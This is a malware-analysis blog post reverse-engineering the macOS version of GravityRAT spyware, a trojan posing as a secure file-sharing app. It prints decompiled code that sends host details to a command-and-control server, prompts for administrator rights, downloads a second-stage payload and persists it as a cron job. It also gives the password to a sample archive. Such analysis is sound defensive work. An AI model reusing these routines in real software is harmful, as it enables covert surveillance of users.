I’ve added the samples (GravityRat) to our malware collection (password: infect3d)
…please donβt infect yourself!
Recently, noted security researcher Tatyana Shishkova of Kaspersky published a new report on the intriguing cross-platform spyware, GravityRAT
("used to target the Indian armed forces"). In this report, she noted that for the first time, “there are now versions for …macOS”.
In this blog post, we’ll build upon her work, diving deeper into the macOS versions of this malware.
Tatyana’s writeup is great place to start, and provides a lot of great foundational detail and insights about GravityRAT …including the newly uncovered macOS variants.
As such, it is a must read:
Kasperksy was kind enough to share various samples of GravityRAT
:
$ shasum OSX.GravityRAT/* 086b22075d464b327a2bcbf8b66736560a215347 ~/OSX.GravityRAT/Enigma 696c7cbba2c9326298f3ddca5f22cfb20a4cd3ee ~/OSX.GravityRAT/OrangeVault e33894042f3798516967471d0ce1e92d10dec756 ~/OSX.GravityRAT/StrongBox 9b5b234e3b53f254bc9b3717232d1030e340c7f2 ~/OSX.GravityRAT/TeraSpace
Using macOS’s built-in file
command, we can ascertain that these samples are all executable (64bit) Mach-O binaries:
$ file OSX.GravityRAT/* OSX.GravityRAT/Enigma: Mach-O 64-bit executable x86_64 OSX.GravityRAT/OrangeVault: Mach-O 64-bit executable x86_64 OSX.GravityRAT/StrongBox: Mach-O 64-bit executable x86_64 OSX.GravityRAT/TeraSpace: Mach-O 64-bit executable x86_64
…though are all unsigned:
$ for i in OSX.GravityRAT/*; do codesign -dvvv $i; done OSX.GravityRAT/Enigma: code object is not signed at all OSX.GravityRAT/OrangeVault: code object is not signed at all OSX.GravityRAT/StrongBox: code object is not signed at all OSX.GravityRAT/TeraSpace: code object is not signed at all
A brief triage revealed that while the Enigma
file appeared unique, the other three (OrangeVault
, StrongBox
, and TeraSpace
) appeared quite similar. As such, we’ll first dive into the Enigma
binary. Following this, we’ll also analyze one of the files from the other group.
The Enigma file (sha1: 086b22075d464b327a2bcbf8b66736560a215347
) is an unsigned 64bit Mach-O binary.
Kaspersky’s report notes that the Windows version was “downloaded from the site enigma.net[.]in under the guise of a secure file sharing app to protect against ransomware”. The macOS version also appears to masquerade as such an application:
Kaspersky states that the Window’s versions of the malware are, “written in Python and packaged using …PyInstaller
”.
Leveraging a tool such as PyInstaller allows developers (or malware authors) to write cross-platform python code, then generate native, platform-specific binaries:
“PyInstaller freezes (packages) Python applications into stand-alone executables, under Windows, GNU/Linux, Mac OS X, FreeBSD, Solaris and AIX.”
To learn more about PyInstaller, head over to:
By extracting embedded strings, it’s trivial to confirm that this macOS variant was (also) packaged up with PyInstaller
:
$ strings - OSX.GravityRAT/Enigma | grep Python Py_SetPythonHome Error loading Python lib '%s': dlopen: %s Error detected starting Python VM. Python
This can also be confirmed via disassembly, by noting the the malware’s main
function simply calls into PyInstaller
’s pyi_main
function:
1void main() {
2 pyi_main(rdi, rsi, rdx, rcx, r8, r9);
3 return;
4}
Recognizing that the malware was packaged up with PyInstaller
is important, as it means we can extract compiled python code, that ultimately we can fully decompile. Reading python code is of course far simpler than reading decompiled (dis)assembly!
One easy was to extract the compiled python code is via the pyinstxtractor. This open-source tool, can “extract the contents of a PyInstaller generated…executable file”
Once installed, we can extract the python archive:
$ python pyinstxtractor.py Enigma [+] Processing Enigma [+] Pyinstaller version: 2.1+ [+] Python version: 27 [+] Length of package: 17113011 bytes [+] Found 458 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_pkgres.pyc [+] Possible entry point: pyi_rth__tkinter.pyc [+] Possible entry point: Enigma.pyc [+] Found 828 files in PYZ archive [+] Successfully extracted pyinstaller archive: Enigma You can now use a python decompiler on the pyc files within the extracted directory
Let’s take a peek at the file extracted by pyinstxtractor
(which were placed in a directory named Enigma_extracted
):
$ ls -1 Enigma_extracted/ Contents Crypto Enigma.pyc MacOS.so Nav.so PIL._imaging.so PIL._imagingtk.so PIL._webp.so PYZ-00.pyz PYZ-00.pyz_extracted Python Tcl Tk _AE.so _Ctl.so _Dlg.so _Evt.so ...
Most notable is the Enigma.pyc
file, which as expected (due to its .pyc
file extension), is compiled python byte code:
$ file OSX.GravityRAT/Enigma_extracted/Enigma.pyc OSX.GravityRAT/Enigma_extracted/Enigma.pyc: python 2.7 byte-compiled
We can readily decompile this bytecode via a site such as decompiler.com:
…which gives us back python code!
1# uncompyle6 version 3.6.4
2# Python bytecode 2.7 (62211)
3# Decompiled from: Python 2.7.17 (default, Sep 30 2020, 13:38:04)
4# Embedded file name: Enigma.py
5import Tkinter as tk, ttk, tkFont as tkfont, tkFileDialog, uuid as libuuid, tkMessageBox,
6 re, base64, ctypes, datetime, glob, hashlib, json, os, platform, sys, threading, socket
7from PIL import ImageTk
8import traceback, subprocess, random, zlib, sqlite3, requests, time
9from Crypto.Cipher import AES, PKCS1_OAEP
10from Crypto import Random
11from Crypto.Hash import SHA256
12from Crypto.PublicKey import RSA
13from Crypto.Random import get_random_bytes
14SSN = requests.Session()
15SSN.headers.update({'User-Agent': 'M_22CE2F63F5FF02F6B9754242E4BEE237'})
16THREADS = []
17dURL = 'https://download.enigma.net.in/90954349.php'
18...
The Kaspersky report notes that the GravityRAT
malware, “collects information about the computer, downloads the payload from the server, and adds a scheduled task.”
Let’s take a closer look at the decompiled python source code (from Enigma.pyc
), to see how the malware performs each of these steps.
In the code’s main
function, it first invokes the following: AUTH = IsAuth()
1def IsAuth():
2 if platform.system() == 'Darwin':
3 user = os.getuid()
4 if user != 0:
5 with open(os.getenv('TMPDIR') + 'tmp0.txt', 'wb') as (fb):
6 fb.write(sys.executable)
7 if hasattr(sys, '_MEIPASS'):
8 os.system('mkdir ' + os.path.join(sys._MEIPASS, 'Enigma.app'))
9 os.system('cp -R ' + os.path.join(sys._MEIPASS, 'Contents') + ' '
10 + os.path.join(sys._MEIPASS, 'Enigma.app/'))
11 os.system(os.path.join(sys._MEIPASS, 'Enigma.app/Contents/MacOS/applet'))
12 return user
13
14
15def main():
16 AUTH = IsAuth()
The IsAuth
function first checks for macOS (Darwin
), and then executes a block of logic if the user is not running with root privileges (if user != 0
).
Specifically it:
tmp0.txt
Enigma.app
(via mkdir
)Contents
directory to Enigma.app
(via cp -R
)Enigma.app/Contents/MacOS/applet
This can be observed via our Process Monitor:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event": "ES_EVENT_TYPE_NOTIFY_EXEC", "process": { "pid": 1384, "path": "/bin/mkdir", "uid": 501, "arguments": ["mkdir", "/var/folders/49/2gkt10ss7fj1zfr4l0rj4t5m0000gn/T/_MEIcYXy95/Enigma.app"], ... } } { "event": "ES_EVENT_TYPE_NOTIFY_EXEC", "process": { "pid": 1385, "path": "/bin/cp", "uid": 501, "arguments": ["cp", "-R", "/var/folders/49/2gkt10ss7fj1zfr4l0rj4t5m0000gn/T/_MEIcYXy95/Contents", "/var/folders/49/2gkt10ss7fj1zfr4l0rj4t5m0000gn/T/_MEIcYXy95/Enigma.app/"], ... } } { "event": "ES_EVENT_TYPE_NOTIFY_EXEC", "process": { "pid": 1386, "path": "/private/var/folders/49/2gkt10ss7fj1zfr4l0rj4t5m0000gn/T/_MEIcYXy95/Enigma.app/Contents/MacOS/applet", "uid": 501, "arguments": ["/var/folders/49/2gkt10ss7fj1zfr4l0rj4t5m0000gn/T/_MEIcYXy95/Enigma.app/Contents/MacOS/applet"], ... } }
The applet
binary is a fat (32bit & 64bit) Mach-O binary:
$ file Contents/MacOS/applet Contents/MacOS/applet: Mach-O universal binary with 2 architectures: [i386:Mach-O executable i386] [x86_64:Mach-O 64-bit executable x86_64]
It’s a tiny binary that simply invokes OpenDefaultComponent
then a function (sub_100000f58
) that invokes CallComponentDispatch
:
1int EntryPoint() {
2 rax = OpenDefaultComponent('tlpa', 'tpcs');
3 if (rax != 0x0) {
4 sub_100000f58(rax);
5 }
6 return 0x0;
7}
Since OpenDefaultComponent
is invoked with apltscpt
it seems to be related to (perhaps) executing an AppleScript found in the application bundle, specifically Contents/Resources/Scripts/main.scpt
.
The main.scpt
file, is compiled AppleScript:
$ file Contents/Resources/Scripts/main.scpt Contents/Resources/Scripts/main.scpt: AppleScript compiled
Luckily it’s was not compiled in “run-only” mode, meaning we can trivially decompile with macOS’s Script Editor
application:
1set dirPath to system attribute "TMPDIR"
2set logFile to dirPath & "tmp0.txt"
3set theText to read logFile
4do shell script theText & " > /dev/null 2>&1 &" with administrator privileges
Easy to see it’s simply attempting to execute the file (specified within tmp0.txt
) with administrator privileges. Recall that in the IsAuth
function (in the compiled Python code), the malware wrote out the path to itself into the tmp0.txt
file:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter tmp0.txt { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/private/var/folders/49/2gkt10ss7fj1zfr4l0rj4t5m0000gn/T/tmp0.txt", "process" : { "uid" : 501, "path" : "/private/var/folders/49/2gkt10ss7fj1zfr4l0rj4t5m0000gn/T/_MEIuEZp9g/Enigma.app/Contents/MacOS/applet", "pid" : 1567 ... } } } $ cat /private/var/folders/49/2gkt10ss7fj1zfr4l0rj4t5m0000gn/T/tmp0.txt /Users/user/Downloads/Enigma
…thus the AppleScript will prompt the user to authorize the (re)launching of the malware (Enigma
) with elevated privileges:
Assuming the user enters their credentials into the authorization prompt, a second (privileged) instance of the malware will now be running (note: uid: 0
):
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_FORK", "process" : { "uid" : 0, "path" : "/Users/user/Downloads/Enigma", "pid" : 1742 } }
Now the malware is happily running as root. This means the IsAuth
function will just return, which causes the malware to invoke a function named IsAuthorize
:
1def IsAuthorize():
2 try:
3 boM = os.popen('ioreg -c IOPlatformExpertDevice -d 2
4 | awk -F\\" \'/product-name/{print $(NF-1)}\'').read().strip()
5 boP = os.popen('ioreg -c IOPlatformExpertDevice -d 2
6 | awk -F\\" \'/board-id/{print $(NF-1)}\'').read().strip()
7 bM = os.popen('ioreg -c IOPlatformExpertDevice -d 2
8 | awk -F\\" \'/manufacturer/{print $(NF-1)}\'').read().strip()
9 bP = os.popen('ioreg -c IOPlatformExpertDevice -d 2
10 | awk -F\\" \'/model/{print $(NF-1)}\'').read().strip()
11 cu = ''
12 response = SSN.post(dURL,
13 data={'K': 'vM', 'cu': cu, 'bM': bM, 'bP': bP, 'boM': boM, 'boP': boP})
14 return response.text
15 except Exception:
16 return '-1'
This function gathers some basic information about its host (product name, board id, & model), and sends it off to https://download.enigma.net.in/90954349.php
.
If it receives a response (that is not -V
) it attempts to list the files in ~/Library/Safari
. If this fails, it will prompt the user to (manually) give Terminal.app
full-disk access:
1if SID != '-V':
2 if str(platform.release()).split('.')[0] >= '18':
3 krlck = os.popen('ls ~/Library/Safari').read().strip()
4 if krlck != '':
5 app = MainWindow()
6 app.mainloop()
7 else:
8 msgroot = tk.Tk()
9 msgroot.withdraw()
10 tkMessageBox.showerror('Enigma: Operation Not Permitted.', 'Solution: \nGo to System Preferences > Security & Privacy and give Full Disk Access to Terminal.app\n(Applications > Utilities> Terminal.app)')
The ~/Library/Safari directory is example of a “protected” directory. Thus, this is how the malware is (indirectly) checking if it has full-disk access.
Assumming the user has granted Terminal.app
and thus the malware (presumably running under Terminal.app
) full-disk access, the malware shows the main UI window:
…the majority of the remaining (compiled) Python code in the malware seems to be “legitimate” …and ensures the UI interface performs as expected (so the user remains oblivious to the fact that the application is indeed malicious).
However, there is still (a bit) more malicious logic.
The Kaspersky report, notes, “The Mac version …adds a cron job”
We find this persistence logic in a function named format
:
1def format(self, src, des, uc):
2 ...
3 if not os.path.isfile(des):
4 os.system('cp ' + src + ' ' + des)
5 if des[-3:] == '.py':
6 os.system('sudo crontab -l 2>/dev/null;
7 echo "*/2 * * * * python ' + des + '" | sudo crontab -')
8 else:
9 os.chmod(des, 448)
10 des += ' ' + uc
11 os.system('sudo crontab -l 2>/dev/null;
12 echo "*/2 * * * * ' + des + '" | sudo crontab -')
13 return '+O '
Via crontab
the malware persists a (passed) file, as a cronjob …set to run every two minutes (*/2 * * * *
).
The format
is invoked by a function named sptoken
.
Before invoking the format
function, code within sptoken
downloads the contents of the item to persist (as a cronjob):
1def sptoken(self, clist, tokens, sndr, recvr):
2...
3
4 rsp = SSN.get(id['O'])
5 if rsp.status_code == 200:
6 rep += '+L '
7 with open(Tp, 'wb') as (i):
8 i.write(rsp.content)
9 rep += '+M '
10 rep_temp = self.template(Tp, Lp)
11 rep += rep_temp
12 if rep_temp[0:1] == '+':
13 rep += self.format(Tp, Lp, id['U'])
…unfortunately this downloaded (and persisted) payload was not available for analysis π As such, this wraps up our analysis.
In this blog post, we thoroughly reversed the Enigma
binary (sha1: 086b22075d464b327a2bcbf8b66736560a215347
). After extracting its compiled Python, Mach-O & AppleScript components, we analyzed each to gain an understandings of their capabilities.
And although we do not have access to the 2nd-stage payload, BlockBlock will readily detect its (cronjob) persistence: